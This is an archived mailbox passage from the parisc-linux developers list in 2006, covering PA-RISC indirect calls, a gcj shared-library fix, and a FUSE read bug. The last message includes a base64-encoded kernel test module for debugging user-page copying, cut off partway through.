X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 02:11:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 12 Mar 2006 03:11:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26D877D687;
	Sat, 11 Mar 2006 19:11:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08505-09; Sat, 11 Mar 2006 19:11:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 204CF7D673;
	Sat, 11 Mar 2006 19:11:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 595E57D63E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 19:11:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08505-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 19:11:07 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BF35C7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 19:11:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 92B054948C9; Sat, 11 Mar 2006 19:11:07 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 55E6149406D
	for <parisc-linux@parisc-linux.org>;
	Sat, 11 Mar 2006 19:11:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2C2Awil012103; Sat, 11 Mar 2006 21:10:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2C2AvIw012101;
	Sat, 11 Mar 2006 21:10:57 -0500 (EST)
In-Reply-To: <4412FACA.2010102@tausq.org> from "Randolph Chung" at Mar 12,
	2006 00:28:58 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E+ZhZDpaeSEkK76WZHQhaXN1IGRvb0AW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25265

> but *(%ret0-4) points inside the text section, so r22 eventually gets 
> loaded with an instruction value (0x4fd23f01 == ldw,mb -80(sp),r18)

r22 should be pointing to a function descriptor and have the plabel
bit set.  It's a relative rare situation when an indirect call can
be made directly (no shared libraries).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init on
	parisc
Date: Mon, 13 Mar 2006 12:26:34 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <E1FIlC6-0005ts-00__18940.203873399$1416624585$gmane$org@dorka.pomaz.szeredi.hu>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624586 27536 80.91.229.3 (22 Nov 2014 02:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:46 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: chris@frostnet.net
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2006 11:27:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 13 Mar 2006 12:27:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04FD27D66E;
	Mon, 13 Mar 2006 04:27:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21904-05; Mon, 13 Mar 2006 04:27:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 956057D668;
	Mon, 13 Mar 2006 04:27:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A0357D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 04:27:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21904-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 04:27:46 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D549C7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 04:27:46 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 62C50494013; Mon, 13 Mar 2006 04:27:46 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by palinux.hppa (Postfix) with ESMTP id EBFA849400A
	for <parisc-linux@parisc-linux.org>;
	Mon, 13 Mar 2006 04:27:45 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FIlC6-0005ts-00; Mon, 13 Mar 2006 12:26:34 +0100
In-reply-to: <20060310230000.GX26474@pooh.bubble.frostnet.net> (message from
	Chris Frost on Fri, 10 Mar 2006 15:00:00 -0800)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aDJnZHYdeSEkML6WZHQhaXN1IGRvb8DX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25266

> On Fri, Mar 10, 2006 at 12:16:46PM +0100, Miklos Szeredi wrote:
> > Can you try the following patch to the library?
> > 
> > It initializes the memory to some random value (0x28) before the
> > read(), to check if the kernel sets the memory to zero or it doesn't
> > touch the buffer at all.
> 
> Interesting, the kernel is not setting the memory.

OK.  I'm out of ideas, CC-ing parisc-linux, maybe they can help shed
some light on this.

A short summary of the problem:

(for the full thread see:
http://thread.gmane.org/gmane.comp.file-systems.fuse.devel/2833)

FUSE doesn't seem to work on PA-RISC (2.6.15 + pa4 patchset)

The reason appears to be that when the userspace filesystem reads from
the FUSE device, the kernel doesn't copy any data to the userspace
read buffer, though the correct size is returned by read().

FUSE uses a combination of get_user_pages(), kmap_atomic() and
memcpy().  After kunmap_atomic(), flush_dcache_page() is called to
avoid virtual aliasing.  The data in the read buffer is totally
untouched.

Can anyone confirm the above behavior of FUSE on PA-RISC?

Any ideas why this would behave differently on PA-RISC as on other
archs?

Thanks,
Miklos
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Mon, 13 Mar 2006 19:39:35 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200603140039.k2E0dZ8B024583__39225.6510364406$1416624586$gmane$org@hiauly1.hia.nrc.ca>
References: <17402.31286.940841.655257@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624586 27539 80.91.229.3 (22 Nov 2014 02:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:46 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2006 00:39:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 14 Mar 2006 01:39:50 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94ACA7D69A;
	Mon, 13 Mar 2006 17:39:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27821-06; Mon, 13 Mar 2006 17:39:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5B867D696;
	Mon, 13 Mar 2006 17:39:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB46E7D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 17:39:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27504-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 17:39:41 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 40ACC7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 17:39:41 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id DBBB149562A; Mon, 13 Mar 2006 17:39:40 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 831BF495629
	for <parisc-linux@parisc-linux.org>;
	Mon, 13 Mar 2006 17:39:40 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2E0dail024584; Mon, 13 Mar 2006 19:39:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2E0dZ8B024583;
	Mon, 13 Mar 2006 19:39:35 -0500 (EST)
In-Reply-To: <17402.31286.940841.655257@gargle.gargle.HOWL> from "Matthias
	Klose" at Feb 21, 2006 03:25:58 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gHVkZJwxeSEkYb6WZHQhaXN1IGRvbwAB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25267

> please see http://bugs.debian.org/353346

Should be fixed.  See http://gcc.gnu.org/ml/gcc-patches/2006-03/msg00815.html

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miklos Szeredi <miklos@szeredi.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init on
	parisc
Date: Thu, 16 Mar 2006 14:13:04 +0100
Lines: 132
Approved: news@gmane.org
Message-ID: <E1FJsHo-0006Yf-00__28645.8513270647$1416624586$gmane$org@dorka.pomaz.szeredi.hu>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="++----------20060316140732-041624518----------++"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624586 27540 80.91.229.3 (22 Nov 2014 02:49:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:46 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: chris@frostnet.net,
 jick.nan@gmail.com
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 13:14:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 16 Mar 2006 14:14:09 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 173347D6C2;
	Thu, 16 Mar 2006 06:14:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26218-06; Thu, 16 Mar 2006 06:14:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89D547D6BF;
	Thu, 16 Mar 2006 06:14:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 485D47D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 06:13:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26039-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 06:13:58 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A31AD7D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Mar 2006 06:13:58 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 2F57F4948C7; Thu, 16 Mar 2006 06:13:58 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dorka.pomaz.szeredi.hu (a1819.adsl.pool.eol.hu [81.0.120.41])
	by palinux.hppa (Postfix) with ESMTP id 6608D494006
	for <parisc-linux@parisc-linux.org>;
	Thu, 16 Mar 2006 06:13:57 -0700 (MST)
Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FJsHo-0006Yf-00; Thu, 16 Mar 2006 14:13:04 +0100
In-reply-to: <E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu> (message from Miklos
	Szeredi on Mon, 13 Mar 2006 12:26:34 +0100)
X-Mailer: Emacs 21.4.1 with etach 1.4.0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9QFrZFpOeSEkPb6WZHQhaXN1IGRvb4C3
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25268

This is a multi-part message in MIME format.
--++----------20060316140732-041624518----------++
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jick, Chris,

Can you please try the following module containing the simplified
versions of the fuse device read/write routines?

Copy the attached files into an empty directory, then do 'make' and
'insmod copytest.ko'.

Then do

  cat /proc/fs/test
  echo hello > /proc/fs/test
  dmesg | tail

I get something like this:

~$ cat /proc/fs/test
Hello!
~$ echo hello > /proc/fs/test
~$ dmesg | tail
test_read 0804d848 1024 0
dst: 0804d848 page: c13a9f40 offset: 2120 mapaddr: dd4fa000 ptr: dd4fa848
  test_read: 7
test_read 0804d848 1024 7
  test_read: 0
test_write 080e9008 6 0
src: 080e9008 page: c1167560 offset: 8 mapaddr: cb3ab000 ptr: cb3ab008
<hello
>
  test_write: 6
~$

You could also try changing the calls to my_copy_{to,from}_user2()
to my_copy_..._user1() and see if it makes a difference.

Thanks,
Miklos

--++----------20060316140732-041624518----------++
Content-Type: text/x-csrc; charset=us-ascii; name="copytest.c"
Content-Transfer-Encoding: base64

I2luY2x1ZGUgPGxpbnV4L2ZzLmg+CiNpbmNsdWRlIDxsaW51eC9tb2R1bGUuaD4KI2luY2x1ZGUg
PGxpbnV4L3Byb2NfZnMuaD4KI2luY2x1ZGUgPGxpbnV4L3BhZ2VtYXAuaD4KI2luY2x1ZGUgPGFz
bS91YWNjZXNzLmg+CgpNT0RVTEVfTElDRU5TRSgiR1BMIik7CgpzdGF0aWMgaW50IG15X2NvcHlf
dG9fdXNlcjEoY2hhciBfX3VzZXIgKmRzdCwgY29uc3QgY2hhciAqc3JjLCBzaXplX3Qgc2l6ZSkK
ewogICAgcmV0dXJuIGNvcHlfdG9fdXNlcihkc3QsIHNyYywgc2l6ZSkgPyAtRUZBVUxUIDogMDsK
fQoKc3RhdGljIGludCBteV9jb3B5X2Zyb21fdXNlcjEoY2hhciAqZHN0LCBjb25zdCBjaGFyIF9f
dXNlciAqc3JjLCBzaXplX3Qgc2l6ZSkKewogICAgcmV0dXJuIGNvcHlfZnJvbV91c2VyKGRzdCwg
c3JjLCBzaXplKSA/IC1FRkFVTFQgOiAwOwp9CgpzdGF0aWMgaW50IG15X2NvcHlfdG9fdXNlcjIo
Y2hhciBfX3VzZXIgKmRzdCwgY29uc3QgY2hhciAqc3JjLCBzaXplX3Qgc2l6ZSkKewogICAgaW50
IGVycjsKICAgIHN0cnVjdCBwYWdlICpwYWdlOwogICAgdW5zaWduZWQgbG9uZyBhZGRyID0gKHVu
c2lnbmVkIGxvbmcpIGRzdDsKICAgIHVuc2lnbmVkIG9mZnNldCA9IGFkZHIgJSBQQUdFX1NJWkU7
CiAgICB2b2lkICptYXBhZGRyOwogICAgdm9pZCAqcHRyOwogICAgaWYgKG9mZnNldCArIHNpemUg
PiBQQUdFX1NJWkUpCiAgICAgICAgcmV0dXJuIC1FSU5WQUw7CgogICAgZG93bl9yZWFkKCZjdXJy
ZW50LT5tbS0+bW1hcF9zZW0pOwogICAgZXJyID0gZ2V0X3VzZXJfcGFnZXMoY3VycmVudCwgY3Vy
cmVudC0+bW0sIGFkZHIsIDEsIDEsIDAsICZwYWdlLCBOVUxMKTsKICAgIHVwX3JlYWQoJmN1cnJl
bnQtPm1tLT5tbWFwX3NlbSk7CiAgICBpZiAoZXJyIDwgMCkKICAgICAgICByZXR1cm4gZXJyOwog
ICAgQlVHX09OKGVyciAhPSAxKTsKICAgIG1hcGFkZHIgPSBrbWFwX2F0b21pYyhwYWdlLCBLTV9V
U0VSMCk7CiAgICBwdHIgPSBtYXBhZGRyICsgb2Zmc2V0OwoKICAgIHByaW50aygiZHN0OiAlcCBw
YWdlOiAlcCBvZmZzZXQ6ICV1IG1hcGFkZHI6ICVwIHB0cjogJXBcbiIsCiAgICAgICAgICAgZHN0
LCBwYWdlLCBvZmZzZXQsIG1hcGFkZHIsIHB0cik7CgogICAgbWVtY3B5KHB0ciwgc3JjLCBzaXpl
KTsKCiAgICBrdW5tYXBfYXRvbWljKG1hcGFkZHIsIEtNX1VTRVIwKTsKICAgIGZsdXNoX2RjYWNo
ZV9wYWdlKHBhZ2UpOwogICAgc2V0X3BhZ2VfZGlydHlfbG9jayhwYWdlKTsKICAgIHB1dF9wYWdl
KHBhZ2UpOwoKICAgIHJldHVybiAwOwp9CgpzdGF0aWMgaW50IG15X2NvcHlfZnJvbV91c2VyMihj
aGFyICpkc3QsIGNvbnN0IGNoYXIgX191c2VyICpzcmMsIHNpemVfdCBzaXplKQp7CiAgICBpbnQg
ZXJyOwogICAgc3RydWN0IHBhZ2UgKnBhZ2U7CiAgICB1bnNpZ25lZCBsb25nIGFkZHIgPSAodW5z
aWduZWQgbG9uZykgc3JjOwogICAgdW5zaWduZWQgb2Zmc2V0ID0gYWRkciAlIFBBR0VfU0laRTsK
ICAgIHZvaWQgKm1hcGFkZHI7CiAgICB2b2lkICpwdHI7CiAgICBpZiAob2Zmc2V0ICsgc2l6ZSA+
IFBBR0VfU0laRSkKICAgICAgICByZXR1cm4gLUVJTlZBTDsKCiAgICBkb3duX3JlYWQoJmN1cnJl
bnQtPm1tLT5tbWFwX3NlbSk7CiAgICBlcnIgPSBnZXRfdXNlcl9wYWdlcyhjdXJyZW50LCBjdXJy
ZW50LT5tbSwgYWRkciwgMSwgMCwgMCwgJnBhZ2UsIE5VTEwpOwogICAgdXBfcmVhZCgmY3VycmVu
dC0+bW0tPm1tYXBfc2VtKTsKICAgIGlmIChlcnIgPCAwKQogICAgICAgIHJldHVybiBlcnI7CiAg
ICBCVUdfT04oZXJyICE9IDEpOwogICAgbWFwYWRkciA9IGttYXBfYXRvbWljKHBhZ2UsIEtNX1VT
RVIwKTsKICAgIHB0ciA9IG1hcGFkZHIgKyBvZmZzZXQ7CgogICAgcHJpbnRrKCJzcmM6ICVwIHBh
Z2U6ICVwIG9mZnNldDogJXUgbWFwYWRkcjogJXAgcHRyOiAlcFxuIiwKICAgICAgICAgICBzcmMs
IHBhZ2UsIG9mZnNldCwgbWFwYWRkciwgcHRyKTsKCiAgICBtZW1jcHkoZHN0LCBwdHIsIHNpemUp
OwoKICAgIGt1bm1hcF9hdG9taWMobWFwYWRkciwgS01fVVNFUjApOwogICAgcHV0X3BhZ2UocGFn
ZSk7CgogICAgcmV0dXJuIDA7Cn0KCgpzdGF0aWMgc3NpemVfdCB0ZXN0X3JlYWQoc3RydWN0IGZp
bGUgKmZpbGUsIGNoYXIgX191c2VyICpidWYsIHNpemVfdCBuYnl0ZXMsCiAgICAgICAgICAgICAg
ICAgICAgICAgICBsb2ZmX3QgKm9mZikKewogICAgc3NpemVfdCByZXMgPSAwOwogICAgY2hhciBo
ZWxsb1tdID0gIkhlbGxvIVxuIjsKICAgIHNpemVfdCBoZWxsb2xlbiA9IHN0cmxlbihoZWxsbyk7
